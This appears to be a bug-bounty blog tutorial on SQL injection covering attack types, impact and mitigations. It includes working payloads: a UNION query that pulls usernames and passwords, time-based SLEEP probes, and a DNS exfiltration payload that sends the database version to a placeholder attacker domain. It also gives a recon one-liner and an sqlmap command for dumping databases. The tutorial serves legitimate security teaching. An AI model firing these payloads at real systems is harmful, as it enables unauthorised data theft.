Learn About SQLi

Learn About SQLi

SQL Injection (SQLi) is a prevalent and potent web vulnerability that allows attackers to manipulate a website's database queries. Imagine a hacker whispering commands directly into the database's ear, bypassing the website's security measures and gaining unauthorized access to sensitive information or even control over the entire system.

Understanding SQLi: The Basics

SQLi exploits occur when a web application fails to properly sanitize user input before incorporating it into SQL queries. This allows attackers to inject malicious SQL code that gets executed by the database, potentially leading to data breaches, unauthorized access, or even complete system compromise.

The Anatomy of an SQLi Attack

○ User Input: The attacker provides malicious SQL code as input to a web application, typically through a form field, search bar, or URL parameter.
○ Unsanitized Input: The web application fails to properly validate or sanitize the input, allowing the malicious code to pass through.
○ SQL Query Construction: The application constructs an SQL query that includes the unsanitized user input.
○ Query Execution: The database executes the modified query, including the attacker's malicious code.
○ Attacker's Gain: The attacker's code can now perform various actions, such as retrieving sensitive data, modifying or deleting records, or even executing arbitrary commands on the database server.

Types of SQLi Attacks

1. In-band SQLi (Classic SQLi): The attacker receives the results of their malicious query directly through the web application's response.
○ Error-Based SQLi: The attacker triggers database errors to extract information about the structure and content of the database.
○ Union-Based SQLi: The attacker combines their malicious query with a legitimate query to retrieve data from different tables.
2. Inferential SQLi (Blind SQLi): The attacker cannot see the results of their malicious query directly, but can infer them based on the application's response.
○ Boolean-Based SQLi: The attacker sends queries that return a different response depending on whether a condition is true or false.
○ Time-Based SQLi: The attacker sends queries that cause a delay in the application's response if a condition is true.
3. Out-of-band SQLi: The attacker receives the results of their malicious query through a different channel, such as an email or DNS request.

Impact of SQLi Attacks

SQLi attacks can have devastating consequences, including:

○ Data Breach: Attackers can steal sensitive information, such as usernames, passwords, credit card numbers, or personal data.
○ Unauthorized Access: Attackers can gain access to restricted areas of the application or even take over the entire system.
○ Data Manipulation: Attackers can modify or delete data in the database, causing disruptions or financial loss.
○ Denial of Service (DoS): Attackers can overload the database server with malicious queries, causing it to crash or become unavailable.

Identifying and Exploiting SQLi Vulnerabilities

1. Manual Testing:
    ○ Test all input fields, URLs, and headers for SQLi vulnerabilities.
    ○ Use a variety of payloads to test different types of SQLi attacks.
    ○ Look for ways to bypass filters and WAFs (Web Application Firewalls).
2. Automated Scanning:
    ○ Use web vulnerability scanners like Burp Suite or OWASP ZAP to automate the process of finding SQLi vulnerabilities.

Example Payloads:

' OR 1=1 --
' UNION SELECT username, password FROM users --
' AND SLEEP(5) --

Here are some real-world examples to test for SQL injection vulnerabilities, categorized by the type of SQLi attack:

In-band SQLi (Classic SQLi):

 ● Error-Based SQLi:
      ○ Input: ' OR 1=1 -- (single quote followed by OR 1=1 and a comment)
      ○ Expected result: A database error message revealing SQL syntax or table/column names.
     ○ Why it works: The OR 1=1 condition is always true, causing the query to return all rows, and the comment (--) effectively ignores the rest of the original query.

 ● Union-Based SQLi:
      ○ Input: ' UNION SELECT username, password FROM users --
    ○ Expected result: If vulnerable, the application will return usernames and passwords from the "users" table along with the original query results.
    ○ Why it works:  The UNION operator combines the results of two SELECT statements, allowing the attacker to retrieve data from other tables.

Inferential SQLi (Blind SQLi):

 ● Boolean-Based SQLi:
      ○ Input:  `' AND 1=1 --`(true condition)
      ○ Expected result: The application's response should be the same as for a normal request.
      ○ Input:  `' AND 1=2 --` (false condition)
      ○ Expected result: The application's response should be different from a normal request.
      ○ Why it works:  The attacker can infer information about the database by observing how the application's response changes depending on the injected condition.

  ● Time-Based SQLi:
    ○ Input:  `' AND SLEEP(5) --` (sleep for 5 seconds)
    ○ Expected result: The application's response will be delayed by 5 seconds if the injection is successful.
    ○ Why it works: The SLEEP function causes the database to pause for the specified time, allowing the attacker to infer if the injection is working by observing the response time.

Out-of-band SQLi:

● DNS-Based Exfiltration:
    ○ Input: `' UNION SELECT LOAD_FILE(concat('\\\\',@@version,'.evil-domain.com\\abc'))--`
    ○ Expected result: The database will try to resolve a subdomain (e.g., 5.7.22.evil-domain.com) based on the database version. The attacker can monitor DNS requests to their domain to extract this information.

Additional Tips:

○ Start with simple payloads: Begin with basic payloads like single quotes ('), double quotes ("), and comments (--) to check for SQLi vulnerabilities.
○ Experiment with different injection points: Try injecting payloads into various input fields, URL parameters, and headers.
○ Use tools to automate testing: Tools like sqlmap can automate the process of identifying and exploiting SQLi vulnerabilities.
○ Be careful with your payloads: Always test your payloads in a safe environment to avoid causing damage or disrupting services.

By practicing with these real-world examples and experimenting with different payloads, you can sharpen your SQLi skills and increase your chances of finding valuable bugs in bug bounty programs.

Mitigating SQLi Attacks

○ Parameterized Queries (Prepared Statements): Use parameterized queries to separate data from code, preventing attackers from injecting malicious SQL code.
○ Input Validation: Validate and sanitize all user input to ensure it conforms to the expected format and does not contain malicious characters.
○ Least Privilege: Grant database users only the minimum necessary privileges to perform their tasks.
○ Web Application Firewall (WAF): Use a WAF to detect and block SQLi attacks.

How to use a straightforward method to find SQL Injection

Introduction:

I'll go over how to quickly identify SQL Injection and use sqlmap to dump the database afterwards.

Finding SQL Injection Vulnerabilities:

  1. We'll utilize the one-liner bash command listed below.

$ echo "http://<target>/" | gau | uro | grep "\?" | sed "s/=.*/=A\'/" | uniq > params.txt; cat params.txt | httpx -mr ".*SQL.*|.*syntax.*|.*error.*"

It appears that some of our endpoints could now be susceptible to SQL injection.

We are about to move on to the next phase.

  1. Research the endpoint.

Based on the response errors, it appears that these endpoints are susceptible to SQL injection attacks.

  1. Exploit exposed endpoints by using SQLMap.

$ sqlmap -u "http://<target>/sqli?param=A" -p param --dbms=MSSQL --level 1 --risk 1 --banner

It appears that we can now successfully exploit the SQL injection and obtain the database banner.

Happy Hacking

Author: Ayush khatkar is a cybersecurity researcher, technical writer and an enthusiastic pen-tester at Asecurity. Contact here.

#bugbounty #infosec #cybersecurity